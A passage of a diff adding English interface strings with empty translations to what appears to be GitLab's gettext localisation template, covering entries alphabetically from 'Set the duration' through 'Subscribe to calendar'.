+msgid "Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: %{code_open}15 days%{code_close}, %{code_open}1 month%{code_close}, %{code_open}2 years%{code_close}."
+msgstr ""
+
+msgid "Set the iteration to %{iteration_reference}."
+msgstr ""
+
+msgid "Set the maximum file size for each job's artifacts"
+msgstr ""
+
+msgid "Set the maximum number of pipeline minutes that a group can use on shared Runners per month. 0 for unlimited."
+msgstr ""
+
+msgid "Set the milestone to %{milestone_reference}."
+msgstr ""
+
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
+msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
+msgstr ""
+
+msgid "Set time estimate"
+msgstr ""
+
+msgid "Set time estimate to %{time_estimate}."
+msgstr ""
+
+msgid "Set up CI/CD"
+msgstr ""
+
+msgid "Set up Jira Integration"
+msgstr ""
+
+msgid "Set up a %{type} runner automatically"
+msgstr ""
+
+msgid "Set up a %{type} runner manually"
+msgstr ""
+
+msgid "Set up a hardware device as a second factor to sign in."
+msgstr ""
+
+msgid "Set up assertions/attributes/claims (email, first_name, last_name) and NameID according to %{docsLinkStart}the documentation %{icon}%{docsLinkEnd}"
+msgstr ""
+
+msgid "Set up new device"
+msgstr ""
+
+msgid "Set up new password"
+msgstr ""
+
+msgid "Set up shared runner availability"
+msgstr ""
+
+msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
+msgstr ""
+
+msgid "Set verification limit and frequency."
+msgstr ""
+
+msgid "Set weight"
+msgstr ""
+
+msgid "Set weight to %{weight}."
+msgstr ""
+
+msgid "Set what should be replicated by this secondary node."
+msgstr ""
+
+msgid "SetPasswordToCloneLink|set a password"
+msgstr ""
+
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
+msgstr ""
+
+msgid "SetStatusModal|Add status emoji"
+msgstr ""
+
+msgid "SetStatusModal|Busy"
+msgstr ""
+
+msgid "SetStatusModal|Clear status"
+msgstr ""
+
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
+msgid "SetStatusModal|Edit status"
+msgstr ""
+
+msgid "SetStatusModal|Remove status"
+msgstr ""
+
+msgid "SetStatusModal|Set a status"
+msgstr ""
+
+msgid "SetStatusModal|Set status"
+msgstr ""
+
+msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
+msgstr ""
+
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
+msgid "SetStatusModal|What's your status?"
+msgstr ""
+
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
+msgid "Sets %{epic_ref} as parent epic."
+msgstr ""
+
+msgid "Sets target branch to %{branch_name}."
+msgstr ""
+
+msgid "Sets the due date to %{due_date}."
+msgstr ""
+
+msgid "Sets the iteration to %{iteration_reference}."
+msgstr ""
+
+msgid "Sets the milestone to %{milestone_reference}."
+msgstr ""
+
+msgid "Sets time estimate to %{time_estimate}."
+msgstr ""
+
+msgid "Sets weight to %{weight}."
+msgstr ""
+
+msgid "Setting this to 0 means using the system default timeout value."
+msgstr ""
+
+msgid "Settings"
+msgstr ""
+
+msgid "Settings related to the use and experience of using GitLab's Package Registry."
+msgstr ""
+
+msgid "Setup"
+msgstr ""
+
+msgid "Several security scans are enabled because %{linkStart}Auto DevOps%{linkEnd} is enabled on this project"
+msgstr ""
+
+msgid "Severity"
+msgstr ""
+
+msgid "SeverityWidget|Severity"
+msgstr ""
+
+msgid "SeverityWidget|Severity: %{severity}"
+msgstr ""
+
+msgid "SeverityWidget|There was an error while updating severity."
+msgstr ""
+
+msgid "Shards (%{shards})"
+msgstr ""
+
+msgid "Shards to synchronize"
+msgstr ""
+
+msgid "Share"
+msgstr ""
+
+msgid "Share the %{strong_open}GitLab single sign-on URL%{strong_close} with members so they can sign in to your group through your identity provider"
+msgstr ""
+
+msgid "Shared Runners"
+msgstr ""
+
+msgid "Shared projects"
+msgstr ""
+
+msgid "Shared runners"
+msgstr ""
+
+msgid "Shared runners are disabled for the parent group"
+msgstr ""
+
+msgid "Shared runners are disabled on group level"
+msgstr ""
+
+msgid "Shared runners disabled on group level"
+msgstr ""
+
+msgid "Shared runners help link"
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|By resetting the pipeline minutes for this namespace, the currently used minutes will be set to zero."
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|Reset pipeline minutes"
+msgstr ""
+
+msgid "SharedRunnersMinutesSettings|Reset used pipeline minutes"
+msgstr ""
+
+msgid "Sherlock Transactions"
+msgstr ""
+
+msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
+msgstr ""
+
+msgid "Show all activity"
+msgstr ""
+
+msgid "Show all issues."
+msgstr ""
+
+msgid "Show all members"
+msgstr ""
+
+msgid "Show all test cases."
+msgstr ""
+
+msgid "Show archived projects"
+msgstr ""
+
+msgid "Show archived projects only"
+msgstr ""
+
+msgid "Show command"
+msgstr ""
+
+msgid "Show comments"
+msgstr ""
+
+msgid "Show comments on this file"
+msgstr ""
+
+msgid "Show comments only"
+msgstr ""
+
+msgid "Show commit description"
+msgstr ""
+
+msgid "Show complete raw log"
+msgstr ""
+
+msgid "Show details"
+msgstr ""
+
+msgid "Show file browser"
+msgstr ""
+
+msgid "Show file contents"
+msgstr ""
+
+msgid "Show labels"
+msgstr ""
+
+msgid "Show latest version"
+msgstr ""
+
+msgid "Show links anyways"
+msgstr ""
+
+msgid "Show list"
+msgstr ""
+
+msgid "Show me advanced features"
+msgstr ""
+
+msgid "Show me how to add a pipeline"
+msgstr ""
+
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
+msgstr ""
+
+msgid "Show only direct members"
+msgstr ""
+
+msgid "Show only inherited members"
+msgstr ""
+
+msgid "Show parent pages"
+msgstr ""
+
+msgid "Show parent subgroups"
+msgstr ""
+
+msgid "Show the Closed list"
+msgstr ""
+
+msgid "Show the Open list"
+msgstr ""
+
+msgid "Show whitespace changes"
+msgstr ""
+
+msgid "Showing %d event"
+msgid_plural "Showing %d events"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Showing %{conflict} between %{sourceBranch} and %{targetBranch}"
+msgstr ""
+
+msgid "Showing %{count} of %{total} projects"
+msgstr ""
+
+msgid "Showing %{count} project"
+msgid_plural "Showing %{count} projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Showing %{limit} of %{total_count} issues. "
+msgstr ""
+
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
+msgid "Showing %{pageSize} of %{total} issues"
+msgstr ""
+
+msgid "Showing all epics"
+msgstr ""
+
+msgid "Showing all issues"
+msgstr ""
+
+msgid "Showing graphs based on events of the last %{timerange} days."
+msgstr ""
+
+msgid "Showing last %{size} of log -"
+msgstr ""
+
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
+msgid "Side-by-side"
+msgstr ""
+
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
+msgid "Sidebar|Assign health status"
+msgstr ""
+
+msgid "Sidebar|Health status"
+msgstr ""
+
+msgid "Sidebar|No status"
+msgstr ""
+
+msgid "Sidebar|None"
+msgstr ""
+
+msgid "Sidebar|Only numeral characters allowed"
+msgstr ""
+
+msgid "Sidebar|Weight"
+msgstr ""
+
+msgid "Sign in"
+msgstr ""
+
+msgid "Sign in / Register"
+msgstr ""
+
+msgid "Sign in to \"%{group_name}\""
+msgstr ""
+
+msgid "Sign in to GitLab"
+msgstr ""
+
+msgid "Sign in using smart card"
+msgstr ""
+
+msgid "Sign in via 2FA code"
+msgstr ""
+
+msgid "Sign in with Single Sign-On"
+msgstr ""
+
+msgid "Sign in with smart card"
+msgstr ""
+
+msgid "Sign out"
+msgstr ""
+
+msgid "Sign out & Register"
+msgstr ""
+
+msgid "Sign up"
+msgstr ""
+
+msgid "Sign up was successful! Please confirm your email to sign in."
+msgstr ""
+
+msgid "Sign-in restrictions"
+msgstr ""
+
+msgid "Sign-in text"
+msgstr ""
+
+msgid "Sign-up restrictions"
+msgstr ""
+
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
+
+msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Username is too short (minimum is %{min_length} characters)."
+msgstr ""
+
+msgid "Signed in"
+msgstr ""
+
+msgid "Signed in to GitLab as %{user_link}"
+msgstr ""
+
+msgid "Signed in with %{authentication} authentication"
+msgstr ""
+
+msgid "Signing in using %{label} has been disabled"
+msgstr ""
+
+msgid "Signing in using your %{label} account without a pre-existing GitLab account is not allowed."
+msgstr ""
+
+msgid "Similar issues"
+msgstr ""
+
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
+msgid "Single or combined queries"
+msgstr ""
+
+msgid "Size"
+msgstr ""
+
+msgid "Size and domain settings for static websites"
+msgstr ""
+
+msgid "Size limit per repository (MB)"
+msgstr ""
+
+msgid "Size settings for static websites"
+msgstr ""
+
+msgid "Skip outdated deployment jobs"
+msgstr ""
+
+msgid "Skipped"
+msgstr ""
+
+msgid "Skipped deployment to"
+msgstr ""
+
+msgid "Slack application"
+msgstr ""
+
+msgid "Slack channels (e.g. general, development)"
+msgstr ""
+
+msgid "Slack integration allows you to interact with GitLab via slash commands in a chat window."
+msgstr ""
+
+msgid "SlackIntegration|%{strong_open}Note:%{strong_close} Usernames and private channels are not supported."
+msgstr ""
+
+msgid "SlackIntegration|%{webhooks_link_start}Add an incoming webhook%{webhooks_link_end} in your Slack team. The default channel can be overridden for each event."
+msgstr ""
+
+msgid "SlackIntegration|Paste the %{strong_open}Webhook URL%{strong_close} into the field below."
+msgstr ""
+
+msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
+msgstr ""
+
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
+msgstr ""
+
+msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
+msgstr ""
+
+msgid "SlackService|3. Select the %{strong_open}Active%{strong_close} checkbox, press %{strong_open}Save changes%{strong_close} and start using GitLab inside Slack!"
+msgstr ""
+
+msgid "SlackService|Fill in the word that works best for your team."
+msgstr ""
+
+msgid "SlackService|See list of available commands in Slack after setting up this service, by entering"
+msgstr ""
+
+msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
+msgstr ""
+
+msgid "Smartcard"
+msgstr ""
+
+msgid "Smartcard authentication failed: client certificate header is missing."
+msgstr ""
+
+msgid "Snippets"
+msgstr ""
+
+msgid "Snippets with non-text files can only be edited via Git."
+msgstr ""
+
+msgid "SnippetsEmptyState|Code snippets"
+msgstr ""
+
+msgid "SnippetsEmptyState|Documentation"
+msgstr ""
+
+msgid "SnippetsEmptyState|New snippet"
+msgstr ""
+
+msgid "SnippetsEmptyState|No snippets found"
+msgstr ""
+
+msgid "SnippetsEmptyState|Store, share, and embed small pieces of code and text."
+msgstr ""
+
+msgid "SnippetsEmptyState|There are no snippets to show."
+msgstr ""
+
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
+msgid "Snippets|Description (optional)"
+msgstr ""
+
+msgid "Snippets|Files"
+msgstr ""
+
+msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
+msgstr ""
+
+msgid "Snippets|Optionally add a description about what your snippet does or how to use it…"
+msgstr ""
+
+msgid "Snowplow"
+msgstr ""
+
+msgid "Solution"
+msgstr ""
+
+msgid "Some changes are not shown"
+msgstr ""
+
+msgid "Some child epics may be hidden due to applied filters"
+msgstr ""
+
+msgid "Some common domains are not allowed. %{read_more_link}."
+msgstr ""
+
+msgid "Some email servers do not support overriding the email sender name. Enable this option to include the name of the author of the issue, merge request or comment in the email body instead."
+msgstr ""
+
+msgid "Some of the designs you tried uploading did not change:"
+msgstr ""
+
+msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
+msgstr ""
+
+msgid "Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
+msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
+msgstr ""
+
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
+msgid "Something went wrong"
+msgstr ""
+
+msgid "Something went wrong on our end"
+msgstr ""
+
+msgid "Something went wrong on our end."
+msgstr ""
+
+msgid "Something went wrong on our end. Please try again!"
+msgstr ""
+
+msgid "Something went wrong on our end. Please try again."
+msgstr ""
+
+msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
+msgstr ""
+
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
+msgid "Something went wrong when toggling the button"
+msgstr ""
+
+msgid "Something went wrong while adding your award. Please try again."
+msgstr ""
+
+msgid "Something went wrong while applying the batch of suggestions. Please try again."
+msgstr ""
+
+msgid "Something went wrong while applying the suggestion. Please try again."
+msgstr ""
+
+msgid "Something went wrong while archiving a requirement."
+msgstr ""
+
+msgid "Something went wrong while closing the epic. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while closing the merge request. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while creating a requirement."
+msgstr ""
+
+msgid "Something went wrong while deleting description changes. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deleting the package."
+msgstr ""
+
+msgid "Something went wrong while deleting the source branch. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deleting your note. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deploying this environment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while editing your comment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while exporting requirements"
+msgstr ""
+
+msgid "Something went wrong while fetching %{listType} list"
+msgstr ""
+
+msgid "Something went wrong while fetching branches"
+msgstr ""
+
+msgid "Something went wrong while fetching comments. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching description changes. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching group member contributions"
+msgstr ""
+
+msgid "Something went wrong while fetching latest comments."
+msgstr ""
+
+msgid "Something went wrong while fetching projects"
+msgstr ""
+
+msgid "Something went wrong while fetching projects."
+msgstr ""
+
+msgid "Something went wrong while fetching related merge requests."
+msgstr ""
+
+msgid "Something went wrong while fetching requirements count."
+msgstr ""
+
+msgid "Something went wrong while fetching requirements list."
+msgstr ""
+
+msgid "Something went wrong while fetching the environments for this merge request. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching the package."
+msgstr ""
+
+msgid "Something went wrong while fetching the packages list."
+msgstr ""
+
+msgid "Something went wrong while initializing the OpenAPI viewer"
+msgstr ""
+
+msgid "Something went wrong while inserting your image. Please try again."
+msgstr ""
+
+msgid "Something went wrong while merging this merge request. Please try again."
+msgstr ""
+
+msgid "Something went wrong while moving issues."
+msgstr ""
+
+msgid "Something went wrong while obtaining the Let's Encrypt certificate."
+msgstr ""
+
+msgid "Something went wrong while performing the action."
+msgstr ""
+
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
+msgid "Something went wrong while reopening a requirement."
+msgstr ""
+
+msgid "Something went wrong while reopening the epic. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while reopening the merge request. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while resolving this discussion. Please try again."
+msgstr ""
+
+msgid "Something went wrong while setting %{issuableType} confidentiality."
+msgstr ""
+
+msgid "Something went wrong while stopping this environment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while toggling auto-fix settings, please try again later."
+msgstr ""
+
+msgid "Something went wrong while updating a requirement."
+msgstr ""
+
+msgid "Something went wrong while updating assignees"
+msgstr ""
+
+msgid "Something went wrong while updating your list settings"
+msgstr ""
+
+msgid "Something went wrong with your automatic subscription renewal."
+msgstr ""
+
+msgid "Something went wrong, unable to add %{project} to dashboard"
+msgstr ""
+
+msgid "Something went wrong, unable to add projects to dashboard"
+msgstr ""
+
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
+msgid "Something went wrong, unable to get projects"
+msgstr ""
+
+msgid "Something went wrong, unable to search projects"
+msgstr ""
+
+msgid "Something went wrong. Please try again later"
+msgstr ""
+
+msgid "Something went wrong. Please try again."
+msgstr ""
+
+msgid "Something went wrong. Try again later."
+msgstr ""
+
+msgid "Sorry, no epics matched your search"
+msgstr ""
+
+msgid "Sorry, no projects matched your search"
+msgstr ""
+
+msgid "Sorry, you have exceeded the maximum browsable page number. Please use the API to explore further."
+msgstr ""
+
+msgid "Sorry, your filter produced no results"
+msgstr ""
+
+msgid "Sort by"
+msgstr ""
+
+msgid "Sort direction"
+msgstr ""
+
+msgid "Sort direction: Ascending"
+msgstr ""
+
+msgid "Sort direction: Descending"
+msgstr ""
+
+msgid "SortOptions|Access level, ascending"
+msgstr ""
+
+msgid "SortOptions|Access level, descending"
+msgstr ""
+
+msgid "SortOptions|Blocking"
+msgstr ""
+
+msgid "SortOptions|Created date"
+msgstr ""
+
+msgid "SortOptions|Due date"
+msgstr ""
+
+msgid "SortOptions|Due later"
+msgstr ""
+
+msgid "SortOptions|Due soon"
+msgstr ""
+
+msgid "SortOptions|Expired date"
+msgstr ""
+
+msgid "SortOptions|Label priority"
+msgstr ""
+
+msgid "SortOptions|Largest group"
+msgstr ""
+
+msgid "SortOptions|Largest repository"
+msgstr ""
+
+msgid "SortOptions|Last Contact"
+msgstr ""
+
+msgid "SortOptions|Last created"
+msgstr ""
+
+msgid "SortOptions|Last joined"
+msgstr ""
+
+msgid "SortOptions|Last updated"
+msgstr ""
+
+msgid "SortOptions|Least popular"
+msgstr ""
+
+msgid "SortOptions|Less weight"
+msgstr ""
+
+msgid "SortOptions|Manual"
+msgstr ""
+
+msgid "SortOptions|Milestone due date"
+msgstr ""
+
+msgid "SortOptions|Milestone due later"
+msgstr ""
+
+msgid "SortOptions|Milestone due soon"
+msgstr ""
+
+msgid "SortOptions|More weight"
+msgstr ""
+
+msgid "SortOptions|Most popular"
+msgstr ""
+
+msgid "SortOptions|Most stars"
+msgstr ""
+
+msgid "SortOptions|Name"
+msgstr ""
+
+msgid "SortOptions|Name, ascending"
+msgstr ""
+
+msgid "SortOptions|Name, descending"
+msgstr ""
+
+msgid "SortOptions|Oldest created"
+msgstr ""
+
+msgid "SortOptions|Oldest joined"
+msgstr ""
+
+msgid "SortOptions|Oldest last activity"
+msgstr ""
+
+msgid "SortOptions|Oldest sign in"
+msgstr ""
+
+msgid "SortOptions|Oldest starred"
+msgstr ""
+
+msgid "SortOptions|Oldest updated"
+msgstr ""
+
+msgid "SortOptions|Popularity"
+msgstr ""
+
+msgid "SortOptions|Priority"
+msgstr ""
+
+msgid "SortOptions|Project"
+msgstr ""
+
+msgid "SortOptions|Recent last activity"
+msgstr ""
+
+msgid "SortOptions|Recent sign in"
+msgstr ""
+
+msgid "SortOptions|Recently starred"
+msgstr ""
+
+msgid "SortOptions|Size"
+msgstr ""
+
+msgid "SortOptions|Sort by:"
+msgstr ""
+
+msgid "SortOptions|Sort direction"
+msgstr ""
+
+msgid "SortOptions|Stars"
+msgstr ""
+
+msgid "SortOptions|Start date"
+msgstr ""
+
+msgid "SortOptions|Start later"
+msgstr ""
+
+msgid "SortOptions|Start soon"
+msgstr ""
+
+msgid "SortOptions|Type"
+msgstr ""
+
+msgid "SortOptions|Version"
+msgstr ""
+
+msgid "SortOptions|Weight"
+msgstr ""
+
+msgid "Source"
+msgstr ""
+
+msgid "Source (branch or tag)"
+msgstr ""
+
+msgid "Source Branch"
+msgstr ""
+
+msgid "Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}"
+msgstr ""
+
+msgid "Source code (%{fileExtension})"
+msgstr ""
+
+msgid "Source is not available"
+msgstr ""
+
+msgid "Source project cannot be found."
+msgstr ""
+
+msgid "Sourcegraph"
+msgstr ""
+
+msgid "SourcegraphAdmin|Block on private and internal projects"
+msgstr ""
+
+msgid "SourcegraphAdmin|Configure the URL to a Sourcegraph instance which can read your GitLab projects."
+msgstr ""
+
+msgid "SourcegraphAdmin|Enable Sourcegraph"
+msgstr ""
+
+msgid "SourcegraphAdmin|Enable code intelligence powered by %{link_start}Sourcegraph%{link_end} on your GitLab instance's code views and merge requests."
+msgstr ""
+
+msgid "SourcegraphAdmin|If checked, only public projects will have code intelligence and communicate with Sourcegraph."
+msgstr ""
+
+msgid "SourcegraphAdmin|More information"
+msgstr ""
+
+msgid "SourcegraphAdmin|Save changes"
+msgstr ""
+
+msgid "SourcegraphAdmin|Sourcegraph URL"
+msgstr ""
+
+msgid "SourcegraphAdmin|e.g. https://sourcegraph.example.com"
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental and currently limited to certain projects."
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental and limited to public projects."
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental."
+msgstr ""
+
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
+
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
+msgstr ""
+
+msgid "Spam Logs"
+msgstr ""
+
+msgid "Spam and Anti-bot Protection"
+msgstr ""
+
+msgid "Spam log successfully submitted as ham."
+msgstr ""
+
+msgid "Specific runners"
+msgstr ""
+
+msgid "Specified URL cannot be used: \"%{reason}\""
+msgstr ""
+
+msgid "Specify an e-mail address regex pattern to identify default internal users."
+msgstr ""
+
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
+msgid "Squash commit message"
+msgstr ""
+
+msgid "Squash commits"
+msgstr ""
+
+msgid "Stack trace"
+msgstr ""
+
+msgid "Stacktrace snippet"
+msgstr ""
+
+msgid "Stage"
+msgstr ""
+
+msgid "Stage data updated"
+msgstr ""
+
+msgid "Stage removed"
+msgstr ""
+
+msgid "Standard"
+msgstr ""
+
+msgid "Star a label to make it a priority label. Order the prioritized labels to change their relative priority, by dragging."
+msgstr ""
+
+msgid "Star labels to start sorting by priority"
+msgstr ""
+
+msgid "Star toggle failed. Try again later."
+msgstr ""
+
+msgid "StarProject|Star"
+msgstr ""
+
+msgid "Starred Projects"
+msgstr ""
+
+msgid "Starred Projects' Activity"
+msgstr ""
+
+msgid "Starred projects"
+msgstr ""
+
+msgid "StarredProjectsEmptyState|Visit a project page and press on a star icon. Then, you can find the project on this page."
+msgstr ""
+
+msgid "StarredProjectsEmptyState|You don't have starred projects yet."
+msgstr ""
+
+msgid "Starrers"
+msgstr ""
+
+msgid "Stars"
+msgstr ""
+
+msgid "Start Date"
+msgstr ""
+
+msgid "Start Time"
+msgstr ""
+
+msgid "Start Web Terminal"
+msgstr ""
+
+msgid "Start a %{new_merge_request} with these changes"
+msgstr ""
+
+msgid "Start a Free Ultimate Trial"
+msgstr ""
+
+msgid "Start a new discussion…"
+msgstr ""
+
+msgid "Start a new merge request"
+msgstr ""
+
+msgid "Start a new merge request with these changes"
+msgstr ""
+
+msgid "Start a review"
+msgstr ""
+
+msgid "Start and due date"
+msgstr ""
+
+msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
+msgstr ""
+
+msgid "Start cleanup"
+msgstr ""
+
+msgid "Start date"
+msgstr ""
+
+msgid "Start merge train"
+msgstr ""
+
+msgid "Start merge train when pipeline succeeds"
+msgstr ""
+
+msgid "Start search"
+msgstr ""
+
+msgid "Start thread"
+msgstr ""
+
+msgid "Start thread & close %{noteable_name}"
+msgstr ""
+
+msgid "Start thread & reopen %{noteable_name}"
+msgstr ""
+
+msgid "Start your Free Ultimate Trial"
+msgstr ""
+
+msgid "Start your free trial"
+msgstr ""
+
+msgid "Start your trial"
+msgstr ""
+
+msgid "Started"
+msgstr ""
+
+msgid "Started %{startsIn}"
+msgstr ""
+
+msgid "Started asynchronous removal of all repository check states."
+msgstr ""
+
+msgid "Started:"
+msgstr ""
+
+msgid "Starting..."
+msgstr ""
+
+msgid "Starts %{startsIn}"
+msgstr ""
+
+msgid "Starts at (UTC)"
+msgstr ""
+
+msgid "Starts on"
+msgstr ""
+
+msgid "Starts: %{startsAt}"
+msgstr ""
+
+msgid "State your message to activate"
+msgstr ""
+
+msgid "Static Application Security Testing (SAST)"
+msgstr ""
+
+msgid "StaticSiteEditor|1. Add a clear title to describe the change."
+msgstr ""
+
+msgid "StaticSiteEditor|2. Add a description to explain why the change is being made."
+msgstr ""
+
+msgid "StaticSiteEditor|3. Assign a person to review and accept the merge request."
+msgstr ""
+
+msgid "StaticSiteEditor|A link to view the merge request will appear once ready."
+msgstr ""
+
+msgid "StaticSiteEditor|An error occurred while submitting your changes."
+msgstr ""
+
+msgid "StaticSiteEditor|Automatic formatting changes"
+msgstr ""
+
+msgid "StaticSiteEditor|Branch could not be created."
+msgstr ""
+
+msgid "StaticSiteEditor|Copy update"
+msgstr ""
+
+msgid "StaticSiteEditor|Could not commit the content changes."
+msgstr ""
+
+msgid "StaticSiteEditor|Could not create merge request."
+msgstr ""
+
+msgid "StaticSiteEditor|Creating your merge request"
+msgstr ""
+
+msgid "StaticSiteEditor|Incompatible file content"
+msgstr ""
+
+msgid "StaticSiteEditor|Markdown formatting preferences introduced by the Static Site Editor"
+msgstr ""
+
+msgid "StaticSiteEditor|Return to site"
+msgstr ""
+
+msgid "StaticSiteEditor|Static site editor"
+msgstr ""
+
+msgid "StaticSiteEditor|The Static Site Editor is currently configured to only edit Markdown content on pages generated from Middleman. Visit the documentation to learn more about configuring your site to use the Static Site Editor."
+msgstr ""
+
+msgid "StaticSiteEditor|To see your changes live you will need to do the following things:"
+msgstr ""
+
+msgid "StaticSiteEditor|Update %{sourcePath} file"
+msgstr ""
+
+msgid "StaticSiteEditor|View documentation"
+msgstr ""
+
+msgid "StaticSiteEditor|You can set an assignee to get your changes reviewed and deployed once your merge request is created."
+msgstr ""
+
+msgid "StaticSiteEditor|Your merge request has been created"
+msgstr ""
+
+msgid "Statistics"
+msgstr ""
+
+msgid "Status"
+msgstr ""
+
+msgid "Status was retried."
+msgstr ""
+
+msgid "Status:"
+msgstr ""
+
+msgid "Status: %{title}"
+msgstr ""
+
+msgid "StatusPage|AWS %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|AWS Secret access key"
+msgstr ""
+
+msgid "StatusPage|AWS access key ID"
+msgstr ""
+
+msgid "StatusPage|AWS region"
+msgstr ""
+
+msgid "StatusPage|Active"
+msgstr ""
+
+msgid "StatusPage|Bucket %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
+msgstr ""
+
+msgid "StatusPage|S3 Bucket name"
+msgstr ""
+
+msgid "StatusPage|Status page"
+msgstr ""
+
+msgid "StatusPage|Status page URL"
+msgstr ""
+
+msgid "StatusPage|Status page frontend documentation"
+msgstr ""
+
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|configuration documentation"
+msgstr ""
+
+msgid "StatusPage|your status page frontend."
+msgstr ""
+
+msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
+msgstr ""
+
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
+msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
+msgstr ""
+
+msgid "Stop Terminal"
+msgstr ""
+
+msgid "Stop impersonation"
+msgstr ""
+
+msgid "Stop this environment"
+msgstr ""
+
+msgid "Stopped"
+msgstr ""
+
+msgid "Stopping..."
+msgstr ""
+
+msgid "Storage"
+msgstr ""
+
+msgid "Storage nodes for new repositories"
+msgstr ""
+
+msgid "Storage:"
+msgstr ""
+
+msgid "StorageSize|Unknown"
+msgstr ""
+
+msgid "Subgroup milestone"
+msgstr ""
+
+msgid "Subgroup navigation"
+msgstr ""
+
+msgid "Subgroup overview"
+msgstr ""
+
+msgid "SubgroupCreationLevel|Allowed to create subgroups"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Allowed to create subgroups"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Maintainers"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Owners"
+msgstr ""
+
+msgid "Subgroups"
+msgstr ""
+
+msgid "Subgroups and projects"
+msgstr ""
+
+msgid "Subject Key Identifier:"
+msgstr ""
+
+msgid "Subkeys"
+msgstr ""
+
+msgid "Submit"
+msgstr ""
+
+msgid "Submit a review"
+msgstr ""
+
+msgid "Submit as spam"
+msgstr ""
+
+msgid "Submit changes"
+msgstr ""
+
+msgid "Submit changes..."
+msgstr ""
+
+msgid "Submit feedback"
+msgstr ""
+
+msgid "Submit review"
+msgstr ""
+
+msgid "Submit search"
+msgstr ""
+
+msgid "Submit the current review."
+msgstr ""
+
+msgid "Submit your changes"
+msgstr ""
+
+msgid "Submitted the current review."
+msgstr ""
+
+msgid "Subscribe"
+msgstr ""
+
+msgid "Subscribe at group level"
+msgstr ""
+
+msgid "Subscribe at project level"
+msgstr ""
+
+msgid "Subscribe to RSS feed"
+msgstr ""
+
+msgid "Subscribe to calendar"
+msgstr ""
+
